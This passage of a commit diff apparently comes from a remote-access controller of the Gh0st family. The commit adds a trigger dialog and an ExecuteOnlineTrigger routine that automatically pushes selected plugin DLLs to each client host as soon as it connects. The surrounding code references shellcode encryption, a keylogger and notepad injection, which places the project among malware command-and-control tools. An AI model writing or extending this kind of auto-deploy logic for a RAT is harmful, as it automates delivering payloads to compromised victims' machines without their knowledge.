Feature: Implement trigger logic for host online event
This commit is contained in:
Binary file not shown.
@@ -70,6 +70,7 @@
|
|||||||
#include "NotifySettingsDlg.h"
|
#include "NotifySettingsDlg.h"
|
||||||
#include "FrpsForSubDlg.h"
|
#include "FrpsForSubDlg.h"
|
||||||
#include "PluginSettingsDlg.h"
|
#include "PluginSettingsDlg.h"
|
||||||
|
#include "TriggerSettingsDlg.h"
|
||||||
#include "common/key.h"
|
#include "common/key.h"
|
||||||
#include "UIBranding.h"
|
#include "UIBranding.h"
|
||||||
|
|
||||||
@@ -590,6 +591,10 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
|||||||
m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL);
|
m_bmOnline[48].LoadBitmap(IDB_BITMAP_TRIAL);
|
||||||
m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH);
|
m_bmOnline[49].LoadBitmap(IDB_BITMAP_REQUESTAUTH);
|
||||||
m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE);
|
m_bmOnline[50].LoadBitmap(IDB_BITMAP_CANCELSHARE);
|
||||||
|
// New menu icons
|
||||||
|
m_bmOnline[51].LoadBitmap(IDB_BITMAP_TRIGGER);
|
||||||
|
m_bmOnline[52].LoadBitmap(IDB_BITMAP_WEBDESKTOP);
|
||||||
|
m_bmOnline[53].LoadBitmap(IDB_BITMAP_PLUGINCONFIG);
|
||||||
|
|
||||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||||
m_ServerDLL[i] = nullptr;
|
m_ServerDLL[i] = nullptr;
|
||||||
@@ -826,6 +831,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
|
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
|
||||||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||||||
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
||||||
|
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
|
||||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||||
@@ -925,6 +931,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
|||||||
m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MENU_NOTIFY_SETTINGS, MF_BYCOMMAND, &m_bmOnline[37], &m_bmOnline[37]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_WALLET, MF_BYCOMMAND, &m_bmOnline[28], &m_bmOnline[28]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_NETWORK, MF_BYCOMMAND, &m_bmOnline[29], &m_bmOnline[29]);
|
||||||
|
m_MainMenu.SetMenuItemBitmaps(ID_TRIGGER_SETTINGS, MF_BYCOMMAND, &m_bmOnline[51], &m_bmOnline[51]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MAIN_EXIT, MF_BYCOMMAND, &m_bmOnline[26], &m_bmOnline[26]);
|
||||||
// Tools menu
|
// Tools menu
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_INPUT_PASSWORD, MF_BYCOMMAND, &m_bmOnline[30], &m_bmOnline[30]);
|
||||||
@@ -943,10 +950,11 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
|||||||
m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
|
m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
|
m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
|
m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[53], &m_bmOnline[53]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
|
m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
|
m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
|
||||||
|
m_MainMenu.SetMenuItemBitmaps(ID_WEB_REMOTE_CONTROL, MF_BYCOMMAND, &m_bmOnline[52], &m_bmOnline[52]);
|
||||||
// Help menu
|
// Help menu
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
|
m_MainMenu.SetMenuItemBitmaps(ID_HELP_IMPORTANT, MF_BYCOMMAND, &m_bmOnline[46], &m_bmOnline[46]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]);
|
m_MainMenu.SetMenuItemBitmaps(ID_HELP_FEEDBACK, MF_BYCOMMAND, &m_bmOnline[47], &m_bmOnline[47]);
|
||||||
@@ -5483,6 +5491,10 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
|||||||
auto v = LoginInfor->ParseReserved(RES_MAX);
|
auto v = LoginInfor->ParseReserved(RES_MAX);
|
||||||
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
|
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
|
||||||
delete LoginInfor;
|
delete LoginInfor;
|
||||||
|
|
||||||
|
// 执行主机上线触发器
|
||||||
|
ExecuteOnlineTrigger(ContextObject);
|
||||||
|
|
||||||
return S_OK;
|
return S_OK;
|
||||||
} catch(...) {
|
} catch(...) {
|
||||||
Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str());
|
Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str());
|
||||||
@@ -8493,6 +8505,55 @@ void CMy2015RemoteDlg::OnToolPluginSettings()
|
|||||||
dlg.DoModal();
|
dlg.DoModal();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::OnTriggerSettings()
|
||||||
|
{
|
||||||
|
if (m_DllList.empty()) {
|
||||||
|
MessageBoxL(_TR("插件列表为空,无法创建触发器"), _TR("提示"), MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
CTriggerSettingsDlg dlg(m_DllList, this);
|
||||||
|
dlg.DoModal();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
|
||||||
|
{
|
||||||
|
if (!ctx || m_DllList.empty()) return;
|
||||||
|
|
||||||
|
// 快速检查是否有上线触发器(使用缓存,无磁盘IO)
|
||||||
|
if (!TriggerManager::Instance().HasOnlineTrigger()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取触发器插件列表(从缓存获取)
|
||||||
|
auto pluginNames = TriggerManager::Instance().GetOnlinePlugins();
|
||||||
|
if (pluginNames.empty()) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("[Trigger] Host online trigger activated for %s\n", ctx->GetPeerName().c_str());
|
||||||
|
|
||||||
|
// 遍历触发器配置的插件列表
|
||||||
|
for (const auto& pluginName : pluginNames) {
|
||||||
|
// 查找对应的 DLL
|
||||||
|
DllInfo* targetDll = nullptr;
|
||||||
|
for (auto& dll : m_DllList) {
|
||||||
|
if (dll && dll->Name == pluginName) {
|
||||||
|
targetDll = dll;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!targetDll || !targetDll->Data) {
|
||||||
|
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 发送 DLL 到客户端
|
||||||
|
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
|
||||||
|
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||||
{
|
{
|
||||||
CString clientIP(ip.c_str());
|
CString clientIP(ip.c_str());
|
||||||
|
|||||||
@@ -267,7 +267,7 @@ public:
|
|||||||
bool IsDllRequestLimited(const std::string& ip);
|
bool IsDllRequestLimited(const std::string& ip);
|
||||||
void RecordDllRequest(const std::string& ip);
|
void RecordDllRequest(const std::string& ip);
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[51]; // 21 original + 4 context menu + 2 tray menu + 23 main menu
|
CBitmap m_bmOnline[54]; // 21 original + 4 context menu + 2 tray menu + 23 main menu + 3 new menu icons
|
||||||
uint64_t m_superID;
|
uint64_t m_superID;
|
||||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||||
FileTransformCmd m_CmdList;
|
FileTransformCmd m_CmdList;
|
||||||
@@ -453,6 +453,8 @@ public:
|
|||||||
afx_msg void OnShellcodeTestAesBin();
|
afx_msg void OnShellcodeTestAesBin();
|
||||||
afx_msg void OnToolReloadPlugins();
|
afx_msg void OnToolReloadPlugins();
|
||||||
afx_msg void OnToolPluginSettings();
|
afx_msg void OnToolPluginSettings();
|
||||||
|
afx_msg void OnTriggerSettings();
|
||||||
|
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
||||||
afx_msg void OnShellcodeAesCArray();
|
afx_msg void OnShellcodeAesCArray();
|
||||||
afx_msg void OnParamKblogger();
|
afx_msg void OnParamKblogger();
|
||||||
afx_msg void OnOnlineInjNotepad();
|
afx_msg void OnOnlineInjNotepad();
|
||||||
|
|||||||
@@ -338,6 +338,7 @@
|
|||||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||||
<ClInclude Include="FrpsForSubDlg.h" />
|
<ClInclude Include="FrpsForSubDlg.h" />
|
||||||
<ClInclude Include="PluginSettingsDlg.h" />
|
<ClInclude Include="PluginSettingsDlg.h" />
|
||||||
|
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||||
<ClInclude Include="proxy\HPSocket.h" />
|
<ClInclude Include="proxy\HPSocket.h" />
|
||||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||||
@@ -387,6 +388,7 @@
|
|||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||||
|
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||||
<ClCompile Include="WebService.cpp" />
|
<ClCompile Include="WebService.cpp" />
|
||||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||||
|
|||||||
@@ -81,6 +81,7 @@
|
|||||||
<ClCompile Include="WebService.cpp" />
|
<ClCompile Include="WebService.cpp" />
|
||||||
<ClCompile Include="msvc_compat.c" />
|
<ClCompile Include="msvc_compat.c" />
|
||||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||||
|
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\..\client\Audio.h" />
|
<ClInclude Include="..\..\client\Audio.h" />
|
||||||
@@ -184,6 +185,7 @@
|
|||||||
<ClInclude Include="WebPage.h" />
|
<ClInclude Include="WebPage.h" />
|
||||||
<ClInclude Include="SimpleWebSocket.h" />
|
<ClInclude Include="SimpleWebSocket.h" />
|
||||||
<ClInclude Include="PluginSettingsDlg.h" />
|
<ClInclude Include="PluginSettingsDlg.h" />
|
||||||
|
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="2015Remote.rc" />
|
<ResourceCompile Include="2015Remote.rc" />
|
||||||
|
|||||||
497
server/2015Remote/TriggerSettingsDlg.cpp
Normal file
497
server/2015Remote/TriggerSettingsDlg.cpp
Normal file
@@ -0,0 +1,497 @@
|
|||||||
|
#include "stdafx.h"
|
||||||
|
#include "TriggerSettingsDlg.h"
|
||||||
|
#include "2015RemoteDlg.h"
|
||||||
|
#include "jsoncpp/json.h"
|
||||||
|
#include <fstream>
|
||||||
|
#include <sstream>
|
||||||
|
|
||||||
|
#ifndef _WIN64
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// GBK (CP_ACP) -> UTF-8 编码转换
|
||||||
|
static std::string GbkToUtf8(const std::string& gbkStr)
|
||||||
|
{
|
||||||
|
if (gbkStr.empty()) return "";
|
||||||
|
|
||||||
|
// GBK -> WideChar
|
||||||
|
int wideLen = MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, NULL, 0);
|
||||||
|
if (wideLen <= 0) return gbkStr;
|
||||||
|
|
||||||
|
std::wstring wideStr(wideLen, 0);
|
||||||
|
MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, &wideStr[0], wideLen);
|
||||||
|
|
||||||
|
// WideChar -> UTF-8
|
||||||
|
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
|
if (utf8Len <= 0) return gbkStr;
|
||||||
|
|
||||||
|
std::string utf8Str(utf8Len, 0);
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, &utf8Str[0], utf8Len, NULL, NULL);
|
||||||
|
|
||||||
|
// 移除末尾的 null 字符
|
||||||
|
if (!utf8Str.empty() && utf8Str.back() == '\0') {
|
||||||
|
utf8Str.pop_back();
|
||||||
|
}
|
||||||
|
return utf8Str;
|
||||||
|
}
|
||||||
|
|
||||||
|
// UTF-8 -> GBK (CP_ACP) 编码转换
|
||||||
|
static std::string Utf8ToGbk(const std::string& utf8Str)
|
||||||
|
{
|
||||||
|
if (utf8Str.empty()) return "";
|
||||||
|
|
||||||
|
// UTF-8 -> WideChar
|
||||||
|
int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, NULL, 0);
|
||||||
|
if (wideLen <= 0) return utf8Str;
|
||||||
|
|
||||||
|
std::wstring wideStr(wideLen, 0);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, &wideStr[0], wideLen);
|
||||||
|
|
||||||
|
// WideChar -> GBK
|
||||||
|
int gbkLen = WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
|
if (gbkLen <= 0) return utf8Str;
|
||||||
|
|
||||||
|
std::string gbkStr(gbkLen, 0);
|
||||||
|
WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, &gbkStr[0], gbkLen, NULL, NULL);
|
||||||
|
|
||||||
|
// 移除末尾的 null 字符
|
||||||
|
if (!gbkStr.empty() && gbkStr.back() == '\0') {
|
||||||
|
gbkStr.pop_back();
|
||||||
|
}
|
||||||
|
return gbkStr;
|
||||||
|
}
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
|
||||||
|
ON_BN_CLICKED(IDC_BTN_SAVE, &CTriggerSettingsDlg::OnBnClickedBtnSave)
|
||||||
|
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
|
||||||
|
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
|
||||||
|
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||||
|
: CDialogLangEx(IDD_DIALOG_TRIGGER_SETTINGS, pParent)
|
||||||
|
, m_DllList(dllList)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
CTriggerSettingsDlg::~CTriggerSettingsDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialogLangEx::DoDataExchange(pDX);
|
||||||
|
DDX_Control(pDX, IDC_COMBO_TRIGGER_TYPE, m_comboTriggerType);
|
||||||
|
DDX_Control(pDX, IDC_LIST_TRIGGER_PLUGINS, m_listPlugins);
|
||||||
|
DDX_Control(pDX, IDC_LIST_TRIGGERS, m_listTriggers);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CTriggerSettingsDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialogLangEx::OnInitDialog();
|
||||||
|
|
||||||
|
InitControls();
|
||||||
|
|
||||||
|
// 加载配置
|
||||||
|
m_Configs = LoadTriggerConfigs();
|
||||||
|
|
||||||
|
// 加载插件列表
|
||||||
|
LoadPluginsToList();
|
||||||
|
|
||||||
|
// 加载已配置的触发器
|
||||||
|
LoadTriggersToList();
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::InitControls()
|
||||||
|
{
|
||||||
|
// 初始化触发类型下拉框
|
||||||
|
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
|
||||||
|
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
|
||||||
|
|
||||||
|
// 初始化插件列表
|
||||||
|
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_CHECKBOXES);
|
||||||
|
m_listPlugins.InsertColumn(0, _TR("插件名称"), LVCFMT_LEFT, 160);
|
||||||
|
|
||||||
|
// 初始化已配置触发器列表
|
||||||
|
m_listTriggers.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
|
||||||
|
m_listTriggers.InsertColumn(0, _TR("触发器"), LVCFMT_LEFT, 160);
|
||||||
|
|
||||||
|
// 设置静态文本
|
||||||
|
SetWindowText(_TR("触发器设置"));
|
||||||
|
GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
|
||||||
|
GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::LoadPluginsToList()
|
||||||
|
{
|
||||||
|
m_listPlugins.DeleteAllItems();
|
||||||
|
|
||||||
|
int index = 0;
|
||||||
|
for (const auto& dll : m_DllList) {
|
||||||
|
if (!dll || !dll->Data) continue;
|
||||||
|
|
||||||
|
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
|
||||||
|
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
|
||||||
|
index++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果有已配置的主机上线触发器,勾选对应的插件
|
||||||
|
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
|
||||||
|
if (onlineTrigger) {
|
||||||
|
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||||
|
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||||
|
if (!dll) continue;
|
||||||
|
for (const auto& pluginName : onlineTrigger->PluginNames) {
|
||||||
|
if (pluginName == dll->Name) {
|
||||||
|
m_listPlugins.SetCheck(i, TRUE);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::LoadTriggersToList()
|
||||||
|
{
|
||||||
|
m_listTriggers.DeleteAllItems();
|
||||||
|
|
||||||
|
const char* typeNames[] = { "主机上线" };
|
||||||
|
|
||||||
|
int index = 0;
|
||||||
|
for (const auto& cfg : m_Configs) {
|
||||||
|
if (!cfg.PluginNames.empty()) {
|
||||||
|
// 显示触发器类型和插件数量
|
||||||
|
CString text;
|
||||||
|
text.Format(_T("%s (%d)"), _TR(typeNames[cfg.Type]), (int)cfg.PluginNames.size());
|
||||||
|
m_listTriggers.InsertItem(index, text);
|
||||||
|
m_listTriggers.SetItemData(index, cfg.Type);
|
||||||
|
index++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd()
|
||||||
|
{
|
||||||
|
// 获取选中的触发类型
|
||||||
|
int triggerType = m_comboTriggerType.GetCurSel();
|
||||||
|
if (triggerType < 0) return;
|
||||||
|
|
||||||
|
// 获取勾选的插件(直接从 DllInfo 获取名称,避免编码转换问题)
|
||||||
|
std::vector<std::string> selectedPlugins;
|
||||||
|
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||||
|
if (m_listPlugins.GetCheck(i)) {
|
||||||
|
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||||
|
if (dll) {
|
||||||
|
selectedPlugins.push_back(dll->Name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (selectedPlugins.empty()) {
|
||||||
|
MessageBoxL(_TR("请先选择至少一个插件"), _TR("提示"), MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查找或创建该类型的触发器
|
||||||
|
TriggerConfig* cfg = nullptr;
|
||||||
|
for (auto& c : m_Configs) {
|
||||||
|
if (c.Type == (TriggerType)triggerType) {
|
||||||
|
cfg = &c;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!cfg) {
|
||||||
|
TriggerConfig newCfg;
|
||||||
|
newCfg.Type = (TriggerType)triggerType;
|
||||||
|
m_Configs.push_back(newCfg);
|
||||||
|
cfg = &m_Configs.back();
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg->PluginNames = selectedPlugins;
|
||||||
|
|
||||||
|
// 刷新显示
|
||||||
|
LoadTriggersToList();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove()
|
||||||
|
{
|
||||||
|
POSITION pos = m_listTriggers.GetFirstSelectedItemPosition();
|
||||||
|
if (!pos) return;
|
||||||
|
|
||||||
|
int nItem = m_listTriggers.GetNextSelectedItem(pos);
|
||||||
|
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||||
|
|
||||||
|
// 从配置中移除
|
||||||
|
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
|
||||||
|
if (it->Type == type) {
|
||||||
|
m_Configs.erase(it);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 取消插件列表的勾选
|
||||||
|
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||||
|
m_listPlugins.SetCheck(i, FALSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 刷新显示
|
||||||
|
LoadTriggersToList();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult)
|
||||||
|
{
|
||||||
|
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
|
||||||
|
*pResult = 0;
|
||||||
|
|
||||||
|
// 只处理选中状态变化
|
||||||
|
if (!(pNMLV->uNewState & LVIS_SELECTED)) return;
|
||||||
|
|
||||||
|
int nItem = pNMLV->iItem;
|
||||||
|
if (nItem < 0) return;
|
||||||
|
|
||||||
|
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
|
||||||
|
|
||||||
|
// 查找对应的触发器配置
|
||||||
|
TriggerConfig* cfg = nullptr;
|
||||||
|
for (auto& c : m_Configs) {
|
||||||
|
if (c.Type == type) {
|
||||||
|
cfg = &c;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 先取消所有勾选
|
||||||
|
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||||
|
m_listPlugins.SetCheck(i, FALSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 勾选该触发器配置的插件
|
||||||
|
if (cfg) {
|
||||||
|
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
|
||||||
|
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
|
||||||
|
if (!dll) continue;
|
||||||
|
for (const auto& pluginName : cfg->PluginNames) {
|
||||||
|
